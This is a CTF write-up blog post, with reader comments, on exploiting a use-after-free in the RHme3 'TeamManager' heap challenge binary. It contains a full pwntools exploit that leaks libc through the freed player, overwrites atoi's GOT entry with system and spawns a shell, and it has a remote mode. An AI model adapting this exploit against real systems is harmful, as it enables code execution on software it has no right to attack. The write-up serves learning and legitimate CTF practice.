Heap Exploitation ~ Abusing Use-After-Free

Sup folks! I hope you are all doing great. It’s been a long time since my last CTF write-up. The main reason is because I was trying to master the beast called heap exploitation and I’ve yet to learn a ton about it. To showcase one of the modern ways to pwn a heap-based vulnerable binary, I’ll use a binary that was provided during the RHme3 CTF.

This post might be a shocking example to some of you as to how C/C++ programmers can easily get their binaries pwned in no time if they don’t know what they are doing at the lowest level.

Anyway, RHme3 CTF quals was going on a couple of weeks ago and unfortunately I wasn’t available to play on time so I downloaded the pwnable to mess with it offline. This certain pwnable has to do with heap exploitation, though not really advanced stuff. Knowing that in order to master heap, a write-up is never enough, I’ll link down below some resources I used to make myself familiar with malloc’s / free’s algo.

In order to make this write-up short and not an entire book, If this is your first time touching on heap internals, you might want to have a look at the references I’ve provided below (I’ll be using them to explain a couple of terms) because I will not go into the theory behind the internals, that’s your job to do. Just keep in mind that heap is no joke (unless you are mentally gifted) and you shouldn’t expect to understand / manipulate it not even within the first 10-20 tries.

Let the fun begin!


Binary Review

Let’s start with the all-time classic recon phase, let’s run the binary!

Welcome to your TeamManager (TM)!
0.- Exit
1.- Add player
2.- Remove player
3.- Select player
4.- Edit player
5.- Show player
6.- Show team
Your choice:

We’re presented with the above menu. In general, most of the heap pwnables regarding CTFs are menu-driven binaries, so after plenty of practice, reverse engineering becomes less and less tedious.

After messing around with the binary’s funcionality, the conclusions are the following:

  • We get to create players in order to form a team. Those players are nothing more than C structs ofcourse. Each player has the following struct attributes.
struct player {
     int32_t attack_pts;
     int32_t defense_pts;
     int32_t speed;
     int32_t precision;
     char *name;
}    
  • We get to show / dump / edit the team’s or the player’s info.

  • We get to delete a player from the team.

  • Note that in order to do the two aforementioned actions, we need to first select the player by entering an idex. Really important info to remember for later.

Alright, enough with the high-level stuff, let’s get dirty with assembly.


Reverse Engineering

I’ll be focusing on the core functions of the binary.

.: Player Allocation :.

The go-to function for heap pwnables is the one which allocates memory for an object (a player in our case). That’s the one with the juiciest info. Let’s investigate what it does.


Tip #1: Note that we don’t need to reverse engineer the entire binary. The most important part in Reverse Engineering is knowing what to reverse. Meaning, most of the analysis will happen dynamically, but it’s wise to get a quick idea of the binary’s internals via static analysis.


Tip #2: Most heap-based binaries need to keep track of the dynamically allocated objects. There’s usually a global array of struct pointers in order to do that. Makes sense, right? That being said, let’s quickly prove this assumption.


We have the following two lines of assembly in the beginning of the addPlayer function.

00401848  mov     rax, qword [rax*8+0x603180]
00401850  test    rax, rax

Just those two lines are enough for an exploit-dev person to figure out what this whole function does, and trust me, the function is big. I know some of you might wanted me to showcase the entire disassembly, but when you have to pwn binaries for 48-hours straight, you have to be crazy fast and effective. So let’s make some more assumptions.

  • There’s this interesting address 0x603180, from which we read its content depending on the value of rax. This is classic array indexing.

  • There’s a check against the content of that array value. A check to see if it’s NULL ofcourse. Why though? As I said in tip #2, the program needs to keep track of those allocated player objects.

  • Since it’s an allocation function, it’s pretty likely that it allocates a new player object and stores its pointer into that index depending on the result of the check.

At the end of the function there’s also this line right before it exits:

00401af8  mov     qword [rax*8+0x603180], rdx

It uses again the same indexing method, but this time to store in that entry the value rdx holds. I believe it’s safe to assume that the player allocation happens in the following manner:

  1. Check if there’s an available entry in the global array for allocation.

  2. If the answer to the previous check is yes, ask the user for the player’s info.

  3. Once the user is done, store the new allocated player’s address inside the global array.

.: Player Selection :.

Coolio, the analysis goes well so far. Before we fire up GDB, let’s check out the function that selects a player. My senses are telling me that there might be a bug there :wink:

00401c8b  mov     eax, dword [rbp-0x14]
00401c8e  mov     rax, qword [rax*8+0x603180]
00401c96  mov     qword [rel selected], rax

Once again, from an exploit-dev standpoint, just those 3 lines are more than enough to understand the functionality of the function.

  • eax gets the value stored in the local variable at offset rbp - 0x14. That’s 100% the index we entered in the prompt.

  • eax is indeed used as an index into that global array.

  • rax now holds the content (the address of a player’s object in that case) of that array entry and it stores is inside another global variable’s address called selected.

Although the binary is not stripped, the aforementioned conclutions would be as easy to make as if it was stripped.


Dynamic Analysis

Enough with the assembly, let’s get the ball rolling! First things first, let’s check out the player allocation in action by stepping through my exploit in GDB.


Note: As I said before, this is not a beginner friendly write-up. If you’re new to heap internals, I strongly advice you to go through the reference links. Although I’ll give a quick overview of some of the internals, to really understand the whys and hows of my exploit, it’s better to have a clear and deep understanding of how the heap actually works.

def alloc(name, attack = 1, 
		  defense = 2, speed = 3, precision = 4):

	p.recvuntil('choice: ')
	p.sendline('1')

	p.recvuntil('name: ')
	p.sendline(name)

	p.recvuntil('points: ')
	p.sendline(str(attack))

	p.recvuntil('points: ')
	p.sendline(str(defense))

	p.recvuntil('speed: ')
	p.sendline(str(speed))

	p.recvuntil('precision: ')
	p.sendline(str(precision))

	return

def pwn():

    alloc('A'*0x60)

                              (gdb) x/80gx 0x604000
       actual player chunk --> 0x604000:	0x0000000000000000	0x0000000000000021
Pointer returned by malloc --> 0x604010:	0x0000000200000001	0x0000000400000003
       player's name chunk --> 0x604020:	0x0000000000604030	0x0000000000000071
                               0x604030:	0x4141414141414141	0x4141414141414141
                               0x604040:	0x4141414141414141	0x4141414141414141
                               0x604050:	0x4141414141414141	0x4141414141414141
                               0x604060:	0x4141414141414141	0x4141414141414141
                               0x604070:	0x4141414141414141	0x4141414141414141
                               0x604080:	0x4141414141414141	0x4141414141414141
                 top chunk --> 0x604090:	0x0000000000000000	0x0000000000020f71

Cute, so what do we have here? We allocated a new player. As you can see from the image above, the player object is by default allocated with a size of 0x20 (the last bit is set in order signify that the previous chunk is in use. Again, check the reference links.) and for its name (of size 0x60), there’s a malloc pointer pointing to a new allocated chunk which is used just to store its name.

Let’s move on with the next allocation. I’ll start using a more generic naming convention for the player chunks.

alloc('B'*0x60)
(gdb) x/80gx 0x604000
0x604000:	0x0000000000000000	0x0000000000000021  <-- player 0
0x604010:	0x0000000200000001	0x0000000400000003
0x604020:	0x0000000000604030	0x0000000000000071
0x604030:	0x4141414141414141	0x4141414141414141
0x604040:	0x4141414141414141	0x4141414141414141
0x604050:	0x4141414141414141	0x4141414141414141
0x604060:	0x4141414141414141	0x4141414141414141
0x604070:	0x4141414141414141	0x4141414141414141
0x604080:	0x4141414141414141	0x4141414141414141
0x604090:	0x0000000000000000	0x0000000000000021 <-- player 1
0x6040a0:	0x0000000200000001	0x0000000400000003
0x6040b0:	0x00000000006040c0	0x0000000000000071
0x6040c0:	0x4242424242424242	0x4242424242424242
0x6040d0:	0x4242424242424242	0x4242424242424242
0x6040e0:	0x4242424242424242	0x4242424242424242
0x6040f0:	0x4242424242424242	0x4242424242424242
0x604100:	0x4242424242424242	0x4242424242424242
0x604110:	0x4242424242424242	0x4242424242424242
0x604120:	0x0000000000000000	0x0000000000020ee1 <-- top chunk

Because the array indexing happens as always from 0, I used player 0 for the 1st player object and so on. Just an FYI in case you got confused.

Let’s finish with the allocations for now.

alloc('C'*0x80)
alloc('D'*0x80)
(gdb) x/90gx 0x604000
0x604000:	0x0000000000000000	0x0000000000000021 <-- player 0
0x604010:	0x0000000200000001	0x0000000400000003
0x604020:	0x0000000000604030	0x0000000000000071
0x604030:	0x4141414141414141	0x4141414141414141
0x604040:	0x4141414141414141	0x4141414141414141
0x604050:	0x4141414141414141	0x4141414141414141
0x604060:	0x4141414141414141	0x4141414141414141
0x604070:	0x4141414141414141	0x4141414141414141
0x604080:	0x4141414141414141	0x4141414141414141
0x604090:	0x0000000000000000	0x0000000000000021 <-- player 1
0x6040a0:	0x0000000200000001	0x0000000400000003
0x6040b0:	0x00000000006040c0	0x0000000000000071
0x6040c0:	0x4242424242424242	0x4242424242424242
0x6040d0:	0x4242424242424242	0x4242424242424242
0x6040e0:	0x4242424242424242	0x4242424242424242
0x6040f0:	0x4242424242424242	0x4242424242424242
0x604100:	0x4242424242424242	0x4242424242424242
0x604110:	0x4242424242424242	0x4242424242424242
0x604120:	0x0000000000000000	0x0000000000000021 <-- player 2
0x604130:	0x0000000200000001	0x0000000400000003
0x604140:	0x0000000000604150	0x0000000000000091
0x604150:	0x4343434343434343	0x4343434343434343
0x604160:	0x4343434343434343	0x4343434343434343
0x604170:	0x4343434343434343	0x4343434343434343
0x604180:	0x4343434343434343	0x4343434343434343
0x604190:	0x4343434343434343	0x4343434343434343
0x6041a0:	0x4343434343434343	0x4343434343434343
0x6041b0:	0x4343434343434343	0x4343434343434343
0x6041c0:	0x4343434343434343	0x4343434343434343
0x6041d0:	0x0000000000000000	0x0000000000000021 <-- player 3
0x6041e0:	0x0000000200000001	0x0000000400000003
0x6041f0:	0x0000000000604200	0x0000000000000091
0x604200:	0x4444444444444444	0x4444444444444444
0x604210:	0x4444444444444444	0x4444444444444444
0x604220:	0x4444444444444444	0x4444444444444444
0x604230:	0x4444444444444444	0x4444444444444444
0x604240:	0x4444444444444444	0x4444444444444444
0x604250:	0x4444444444444444	0x4444444444444444
0x604260:	0x4444444444444444	0x4444444444444444
0x604270:	0x4444444444444444	0x4444444444444444
0x604280:	0x0000000000000000	0x0000000000020d81 <-- top chunk

Here’s a memory view of the global array which holds the player struct pointers:

(gdb) x/4gx 0x603180
0x603180 <players>:	    0x0000000000604010	0x00000000006040a0
0x603190 <players+16>:	0x0000000000604130	0x00000000006041e0

Sweet, we have officially created our team. Now what? After all, we’re here to pwn! Well, I purposely left out a crucial part of our static recon for this phase of our analysis.


UAF Vulnerability

Heap is all about _malloc_ating memory and free-ing memory. However, if free-ing isn’t managed correctly, there can be major leaks, all the way up to arbitrary code execution! What do I mean by that? Let’s check out how deleting a player actually happens.

             [...]
/* index */
00401b9c  mov     eax, dword [rbp-0x1c]
/* player struct pointer */
00401b9f  mov     rax, qword [rax*8+0x603180] 
00401ba7  mov     qword [rbp-0x18], rax
00401bab  mov     eax, dword [rbp-0x1c]
/* Mitigate double-free, good shit */
00401bae  mov     qword [rax*8+0x603180], 0x0 
00401bba  mov     rax, qword [rbp-0x18]
/* player's name pointer */
00401bbe  mov     rax, qword [rax+0x10]      
00401bc2  mov     rdi, rax
00401bc5  call    free
/* player's chunk */
00401bca  mov     rax, qword [rbp-0x18]   
00401bce  mov     rdi, rax
00401bd1  call    free
             [...]

The player’s name is free’d first and then the player’s chunk itself. But oh my, do you see what I see?! As I mentioned above, when we want to show a player we have to select it beforehand. But, the above assembly snippet doesn’t zero out the global selected variable! This is a major logic bug because that practically means we can still print a player’s content even if it’s free!

This is how the show function works:

/* Global variable holding a player pointer */
             [...]
004020f2  mov     rax, qword [rel selected] 
004020f9  mov     rdi, rax
004020fc  call    show_player_func
             [...]

As you can see, it receives as an argument the content of the selected variable, which is a player struct pointer as we’ll see soon in GDB. If you still don’t understand the vulnerability, don’t worry, I’ll get back to it shortly.


Heap Theory Crash Course

In modern systems, ASLR is (and should be) turned on. That being said, in order to get our beloved shell, we need to call system() with sh as its argument. However, we don’t know its address beforehand, but we can leak a certain libc address which will help us calculate its base address and afterwards get the exact location of system()! All of this, thanks to the Use-After-Free vulnerability.

Now before we begin, let me give you a super, duper, uber, quick, high level crash course on how malloc / free handles chunks. I will not spoil the satisfaction of understanding the heap in-depth, so you better do some research afterwards (check the references for details). After a little bit of theory, I’ll provide some visuals as we go through the rest of the exploit.

Malloc manages chunks differently depending on their sizes. Before, I get into that, here’s a beautiful visual of a malloc’d and free’d chunk taken from here.


struct malloc_chunk {
  INTERNAL_SIZE_T      mchunk_prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      mchunk_size;       /* Size in bytes, including overhead. */
  struct malloc_chunk* fd;                /* double links -- used only if free. */
  struct malloc_chunk* bk;
  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
};
  • Malloc’d chunk
    chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of previous chunk, if unallocated (P clear)  |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of chunk, in bytes                     |A|M|P|
      mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             User data starts here...                          .
            .                                                               .
            .             (malloc_usable_size() bytes)                      .
            .                                                               |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             (size of chunk, but used for application data)    |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of next chunk, in bytes                |A|0|1|
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  • Free’d chunk
    chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of previous chunk, if unallocated (P clear)  |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    `head:' |             Size of chunk, in bytes                     |A|0|P|
      mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Forward pointer to next chunk in list             |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Back pointer to previous chunk in list            |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Unused space (may be 0 bytes long)                .
            .                                                               .
            .                                                               |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    `foot:' |             Size of chunk, in bytes                           |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of next chunk, in bytes                |A|0|0|
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

There are 3 core chunk types:

  • Fast chunks - Refer to small sized chunks

  • Small chunks - Refer to not so small sized chunks

  • Large chunks - Refer to quite massive sized chunks

Now, off to the meat of the story.


When a chunk gets free’d, it’s put in a list. That list is either a single-linked list or a circular double-linked list. As you can imagine, not all types of chunks get placed in the same list. Basically, there is the so called fastbin, smallbin, unsorted bin and largebin.

.: Fast bins :.

There are 10 fast bins. Each of these bins maintains a single linked list. Addition and deletion happen from the front of this list (LIFO). No two adjacent free fast chunks consolidate together.

.: Small bins :.

There are 62 small bins. Small bins are faster than large bins but slower than fast bins. Each bin maintains a doubly-linked list. Insertions happen at the HEAD while removals happen at the TAIL (FIFO). Small chunks may be consolidated together before ending up in unsorted bins.

.: Large bins :.

There are 63 large bins. Each bin maintains a doubly-linked list. A particular large bin has chunks of different sizes, sorted in decreasing order (i.e. largest chunk at the HEAD and smallest chunk at the TAIL). Insertions and removals happen at any position within the list. Large chunks may be coalesced together before ending up in unsorted bins.

.: Unsorted bin :.

There is only 1 unsorted bin. Small and large chunks, when freed, end up in this bin. The primary purpose of this bin is to act as a “cache layer” to speed up allocation and deallocation requests.

.: Top Chunk :.

It is the chunk which borders the top of an arena. While servicing malloc requests, it is used as the last resort.


UAF Vulnerability

Now that we’ve got a visual intuition as to what’s up with the heap, let’s continue with the exploitation part. We’ve got our 4 players allocated, let’s get the damn libc leak.

select(2)

free(2)
(gdb) x/80gx 0x604000
0x604000:	0x0000000000000000	0x0000000000000021 <-- player 0 [in use]
0x604010:	0x0000000200000001	0x0000000400000003
0x604020:	0x0000000000604030	0x0000000000000071
0x604030:	0x4141414141414141	0x4141414141414141
0x604040:	0x4141414141414141	0x4141414141414141
0x604050:	0x4141414141414141	0x4141414141414141
0x604060:	0x4141414141414141	0x4141414141414141
0x604070:	0x4141414141414141	0x4141414141414141
0x604080:	0x4141414141414141	0x4141414141414141
0x604090:	0x0000000000000000	0x0000000000000021 <-- player 1 [in use]
0x6040a0:	0x0000000200000001	0x0000000400000003
0x6040b0:	0x00000000006040c0	0x0000000000000071
0x6040c0:	0x4242424242424242	0x4242424242424242
0x6040d0:	0x4242424242424242	0x4242424242424242
0x6040e0:	0x4242424242424242	0x4242424242424242
0x6040f0:	0x4242424242424242	0x4242424242424242
0x604100:	0x4242424242424242	0x4242424242424242
0x604110:	0x4242424242424242	0x4242424242424242
0x604120:	0x0000000000000000	0x0000000000000021 <-- player 2 [free]
0x604130:	0x0000000000000000	0x0000000400000003
0x604140:	0x0000000000604150	0x0000000000000091
0x604150:	0x00007ffff7dd37b8	0x00007ffff7dd37b8 
0x604160:	0x4343434343434343	0x4343434343434343
0x604170:	0x4343434343434343	0x4343434343434343
0x604180:	0x4343434343434343	0x4343434343434343
0x604190:	0x4343434343434343	0x4343434343434343
0x6041a0:	0x4343434343434343	0x4343434343434343
0x6041b0:	0x4343434343434343	0x4343434343434343
0x6041c0:	0x4343434343434343	0x4343434343434343

Player 2 is officially free. But something weird happened. You should be able to notice the difference. Its name pointer still points to the same area, but instead of 0x43 values, there are address there! Libc addresses to be precise! What’s up with those? Let’s separate player 2’s info for a moment and focus on it.

0x604120:	0x0000000000000000	0x0000000000000021 <-- player 2 [free]
0x604130:	0x0000000000000000	0x0000000400000003
0x604140:	0x0000000000604150	0x0000000000000091
0x604150:	0x00007ffff7dd37b8	0x00007ffff7dd37b8
0x604160:	0x4343434343434343	0x4343434343434343
0x604170:	0x4343434343434343	0x4343434343434343
0x604180:	0x4343434343434343	0x4343434343434343
0x604190:	0x4343434343434343	0x4343434343434343
0x6041a0:	0x4343434343434343	0x4343434343434343
0x6041b0:	0x4343434343434343	0x4343434343434343
0x6041c0:	0x4343434343434343	0x4343434343434343
0x6041d0:	0x0000000000000090	0x0000000000000020 <-- player 3 [in use]
0x6041e0:	0x0000000200000001	0x0000000400000003
0x6041f0:	0x0000000000604200	0x0000000000000091

Note that player 3’s size chunk went from 0x21 to 0x20. That’s how malloc gets to know if a chunk previous to the one is currently checking is free or not, by setting the least significant bit to 0. Cool, no?

Libc has a data structure in it, called main_arena. This struct stores the HEAD and TAIL of the bin lists I described above. What do those bin lists are though?

  • Fastbins list
typedef struct malloc_chunk *mfastbinptr;
// Array of pointers to chunks
mfastbinptr fastbinsY[];
  • Unsorted / small / large bins list:
typedef struct malloc_chunk* mchunkptr;
// Array of pointers to chunks
mchunkptr bins[];

In other words, libc keeps track of the allocated chunks by storing their pointers in an array according to their sizes. In reality, each entry is a single / double-linked list which holds a pointer to a different size of chunk. Meaning, the first entry of the fastbin list will point to a free’d chunk of size 16. The second entry of the fastbin list will point to a free’d chunk of size 24 and so on. Same goes for the unsorted / small / large bin. I higly recommend to check out this link to get a visual of those lists. I can’t describe it any better than this guy, it’s just awesome.


Note that those bin lists store chunk pointers in their entries as long as they are in the boundaries of their corresponding sizes. As in, a fastbin list can’t point to a chunk that is of small chunk size. I know this might sound confusing but if you look at the link I suggested, it’ll start making sense.

Let’s get back to player 2. What happened is that its name pointer points to a chunk of small chunk size. As a result, its fd and bk will be populated with pointers to the previous and next free chunks once it’s free’d. Since this is the first chunk being free’d, both of its pointer point to the exact same location, libc ofcourse.

(gdb) heapinfoall 
==================  Main Arena  ==================
(0x20)     fastbin[0]: 0x604120 --> 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
                  top: 0x604280 (size : 0x20d80) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x604140 (size : 0x90)

Looks like I’m not lying. Player’s chunk was indeed put in its corresponding fastbin list and the player’s name chunk was put in the unsorted bin.

Let’s take advantage of the program’s logic in order to leak those libc values (whose offsets from libc’s base are always the same no matter what the base address is).

(gdb) x/gx 0x603170
0x603170 <selected>:	0x0000000000604130

As you can see above, even though we free’d player 2, its address is still in the selected variable. If we call the show function now, it will read whatever address is in the selected variable, and print its content.

# The 'selected' array contains the 3rd player object
# We are abusing the UAF vuln to leak libc
# show_player just checks if the 'selected' array is empty
# if it's not, it will print the value of the player's object
# without checking if it's actually free'd or not
show()

p.recvuntil('Name: ')

leak        = u64(p.recv(6).ljust(8, '\x00'))
libc        = leak - 0x3c17b8
system      = libc + 0x46590

log.info("Leak:   0x{:x}".format(leak))
log.info("Libc:   0x{:x}".format(libc))
log.info("system: 0x{:x}".format(system))
[*] Leak:   0x7ffff7dd37b8
[*] Libc:   0x7ffff7a12000
[*] system: 0x7ffff7a58590

Voila! We successfully leaked the pointer to main_arena and got libc’s base address! Let’s pwn the binary once and for all.


Pwning Time

Now the question is, how do we get arbitrary code execution? Instead of exploiting the binary’s logic this time, we’ll exploit both the binary’s and heap’s logic. It’s going to get tough, but the brave ones stay with me.

# Consolidate with top chunk
free(3) 
0x604120:	0x0000000000000000	0x00000000000000b1 <-- player 2 [free]
0x604130:	0x00007ffff7dd37b8	0x00007ffff7dd37b8
0x604140:	0x0000000000604150	0x0000000000000091
0x604150:	0x00007ffff7dd37b8	0x00007ffff7dd37b8
0x604160:	0x4343434343434343	0x4343434343434343
0x604170:	0x4343434343434343	0x4343434343434343
0x604180:	0x4343434343434343	0x4343434343434343
0x604190:	0x4343434343434343	0x4343434343434343
0x6041a0:	0x4343434343434343	0x4343434343434343
0x6041b0:	0x4343434343434343	0x4343434343434343
0x6041c0:	0x4343434343434343	0x4343434343434343
0x6041d0:	0x00000000000000b0	0x0000000000000020 <-- player 3 [free]
0x6041e0:	0x0000000000000000	0x0000000400000003
0x6041f0:	0x0000000000604200	0x0000000000020e11 <-- top chunk

Malloc does not like fragmentation, so what it did was consolidate any adjacent free chunks, update the size values of those chunks according to their coalesced sizes and lastly update the top chunk’s size value to a higher one since chunks were free’d and that means more free space to allocate.

(0x20)     fastbin[0]: 0x6041d0 --> 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
                  top: 0x6041f0 (size : 0x20e10) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x604120 (size : 0xb0)

Now consider the following. What’s going to happen on the next allocation?

  • Remember, each player object has a default size of 0x20 and a pointer pointing to an arbitrary size chunk depending on the length of our input.

  • When we allocate a new chunk, malloc will check the corresponding bin list according to the size request and check if there’s an equivalent free chunk of the same size to serve back to the user. That’s the so called first-fit behavior. Keep in mind, deletion and addition in fastbins happens from the HEAD of the list. In other words, we should be expecting the player’s info to get stored at 0x6041d0 since it’s a free chunk of fastbin size and meets the 0x20 requirement.

  • The unsorted bin holds the address 0x604120. That’s the address of the player 2’s chunk. That was not the same address as before the free(3). That’s because malloc consolidated the adjacent free chunks and they became one entire free chunk, so it had to update the address. The code corresponding to the adjacency check is this:

/* consolidate backward */
if (!prev_inuse(p)) {
      prevsize = p->prev_size;
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));
      /* Classic double-linked list unlinking */
      unlink(av, p, bck, fwd);
}
  • No matter what the size of the name we enter (as long as it’s not bigger than the chunk that is currently in the unsorted bin list, 0xb0 in our case), we should get back the address 0x604120 in order to store the name. If the size is less than 0xb0, the given chunk will get split since there’s no need to give back more than what we ask for, right?

  • However, 0x604120 is the address of player 2’s chunk! Meaning, we can overwrite its data with our surgically picked name payload and mess with its structure. Remember, player 2 is still in the selected variable, so we can still print its content, edit it etc. What if we were able to overwrite the pointer to the original name, with a pointer of our choice (a GOT entry) and call the function edit on it? We would be able to redirect code execution. That’s an abritrary write primitive! Woohoo!

Let’s test our assumptions!

# Overwrite 3rd player's (index 2) name pointer with atoi
# in order to edit it with system's address
alloc('Z'*8 * 2 + p64(atoi_got))

edit(p64(system))

The function’s GOT entry I chose to overwrite was atoi. The reason for that is that atoi receives a pointer to our input in order to convert it back to an integer. What if atoi is system though? What’s going to happen if we provide sh as an argument to what it’s supposed to be atoi? Bingo :wink:

0x604120:	0x0000000000000000	0x0000000000000021 <-- new player's name [old player 2]
0x604130:	0x5a5a5a5a5a5a5a5a	0x5a5a5a5a5a5a5a5a
0x604140:	0x0000000000603110	0x0000000000000091
0x604150:	0x00007ffff7dd37b8	0x00007ffff7dd37b8
0x604160:	0x4343434343434343	0x4343434343434343
0x604170:	0x4343434343434343	0x4343434343434343
0x604180:	0x4343434343434343	0x4343434343434343
0x604190:	0x4343434343434343	0x4343434343434343
0x6041a0:	0x4343434343434343	0x4343434343434343
0x6041b0:	0x4343434343434343	0x4343434343434343
0x6041c0:	0x4343434343434343	0x4343434343434343
0x6041d0:	0x0000000000000090	0x0000000000000020 <-- new allocated player
0x6041e0:	0x0000000200000001	0x0000000400000003
0x6041f0:	0x0000000000604130

Look at that! Look at this beauty! All our assumptions were proven correct! 0x6041d0 was indeed returned back to us as storage for the new player’s info and 0x604120 was returned back to us as storage for the player’s name! We succesfully overwrote player’s 2 original name pointer with atoi’s GOT entry! With edit we’ll overwrite atoi’s entry with system’s address and once atoi is called in order to convert our input into an integer, it’s game over!


Exploit / PoC

from pwn import *

atoi_got = 0x603110

def alloc(name, attack = 1, 
		  defense = 2, speed = 3, precision = 4):

	p.recvuntil('choice: ')
	p.sendline('1')

	p.recvuntil('name: ')
	p.sendline(name)

	p.recvuntil('points: ')
	p.sendline(str(attack))

	p.recvuntil('points: ')
	p.sendline(str(defense))

	p.recvuntil('speed: ')
	p.sendline(str(speed))

	p.recvuntil('precision: ')
	p.sendline(str(precision))

	return

def edit(name):

	p.recvuntil('choice: ')
	p.sendline('4')

	p.recvuntil('choice: ')
	p.sendline('1')

	p.recvuntil('name: ')
	p.sendline(name)

	p.recvuntil('choice: ')
	p.sendline('sh')

	return

def select(idx):

	p.recvuntil('choice: ')
	p.sendline('3')

	p.recvuntil('index: ')
	p.sendline(str(idx))

	return

def free(idx):

	p.recvuntil('choice: ')
	p.sendline('2')

	p.recvuntil('index: ')
	p.sendline(str(idx))

	return

def show():

	p.recvuntil('choice: ')
	p.sendline('5')

	return

def pwn():

	alloc('A'*0x60)
	alloc('B'*0x60)
	alloc('C'*0x80)
	alloc('D'*0x80)

	select(2)

	free(2)

	# The 'selected' array contains the 3rd player object
	# We are abusing the UAF vuln to leak libc
	# show_player just checks if the 'selected' array is empty
	# if it's not, it will print the value of the player's object
	# without checking if it's actually free'd or not
	show()

	p.recvuntil('Name: ')

	leak        = u64(p.recv(6).ljust(8, '\x00'))
	libc        = leak - 0x3c17b8
	system      = libc + 0x46590

	log.info("Leak:   0x{:x}".format(leak))
	log.info("Libc:   0x{:x}".format(libc))
	log.info("system: 0x{:x}".format(system))

	log.info("Overwriting atoi with system")

	# Consolidate with top chunk
	free(3) 

	# Overwrite 3rd player's (index 2) name pointer with atoi
	# in order to edit it with system's address
	alloc('Z'*8 * 2 + p64(atoi_got))

	edit(p64(system))

	p.interactive()

if __name__ == "__main__":
    log.info("For remote: %s HOST PORT" % sys.argv[0])
    if len(sys.argv) > 1:
        p = remote(sys.argv[1], int(sys.argv[2]))
        pwn()
    else:
        p = process('./main.elf')
        pause()
        pwn()
 >> python rhme3.py
[*] For remote: rhme3.py HOST PORT
[+] Starting local process './main.elf': pid 29567
[*] Paused (press any to continue)
[*] Leak:   0x7ffff7dd37b8
[*] Libc:   0x7ffff7a12000
[*] system: 0x7ffff7a58590
[*] Overwriting atoi with system
[*] Switching to interactive mode
$ whoami
vagrant


Conclusion

That’s been it folks. Personally it was a very educational challenge and I learnt a ton about heap internals. If you feel puzzled after you’re done reading it, it’s ok, it’s perfectly reasonable. Practice makes perfect. If you have any questions, please don’t hesitate asking me either on IRC or in the comment section or via PM.

The utilities I used to inspect the heap’s memory layout were pwngdb and gef. You can find the exploit and the binary on my repo.

~ Peace!

34 Likes

The link in the following paragraph is broken:

In other words, libc keeps track of the allocated chunks by storing their pointers in an array according to their sizes. In reality, each entry is a single / double-linked list which holds a pointer to a different size of chunk. Meaning, the first entry of the fastbin list will point to a free’d chunk of size 16. The second entry of the fastbin list will point to a free’d chunk of size 24 and so on. Same goes for the unsorted / small / large bin. I higly recommend to check out (Broken Link Here) link to get a visual of those lists. I can’t describe it any better than this guy, it’s just awesome.

But otherwise this was fucking awesome!!!

3 Likes

Woops, I messed up the markdown format that’s why :confused: It’s now fixed! All of you please do check out the resources I mentioned. I don’t want to take their glory. The folks did an amazing job!

Much appreciated man!

2 Likes

I only half understand this, but I wish I could like it twice.

5 Likes

This write-up is brilliant!!!. Congrats mate!

My only comment is that I got a bit confused towards the end when you say that you can run system overwriting atoi's GOT entry. I had to download the code and take a look to understand why you have selected that function :slight_smile: . While reading the text it sounded as a completely arbitrary choice to me…

I’d suggest to add a line indicating the gdb scripts you are using, so people could try by themselves. I bet it is Pwngdb

2 Likes

There was the following menu as I described:

Welcome to your TeamManager (TM)!
0.- Exit
1.- Add player
2.- Remove player
3.- Select player
4.- Edit player
5.- Show player
6.- Show team
Your choice:

When you enter the choice number, atoi is used behind the scenes to convert your input into an actual integer (read is being called to read in the input).

That being said, once edit() is done, we’ll be prompted back with the menu and we get to choose again what we want to do. Since I overwrote atoi with system, once I enter sh as a choice, read passes the pointer that was read as choice to system and we get the shell.

There was also strlen being called, we could overwrite that one with system since strlen also receives a pointer (again, our input) as its argument.

That was the goal, to let the reader investigate deeper by him/herself :wink:

You’re right, will fix it asap!

2 Likes

Thank you for this great write up !
